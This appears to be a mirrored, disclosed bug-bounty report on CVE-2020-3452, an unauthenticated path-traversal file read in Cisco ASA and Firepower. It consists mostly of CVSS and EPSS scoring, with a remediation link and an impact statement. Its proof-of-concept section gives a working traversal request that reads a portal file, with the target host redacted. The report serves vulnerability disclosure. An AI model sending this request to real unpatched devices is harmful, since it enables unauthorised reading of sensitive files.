Lucene search

K
hackeroneAmrrH1:951508
HistoryAug 05, 2020 - 10:21 a.m.

U.S. Dept Of Defense: CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

2020-08-0510:21:56
amrr
hackerone.com
186

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.975 High

EPSS

Percentile

100.0%

Summary:
#The affected IP:
█████

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.
For example to read “/+CSCOE+/portal_inc.lua” file.

for example:

████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=…/

Suggested Mitigation/Remediation Actions

Cisco has released the fix https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

Impact

This vulnerability allows an unauthenticated, remote attacker to perform directory traversal attacks and read sensitive files on the system.

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.975 High

EPSS

Percentile

100.0%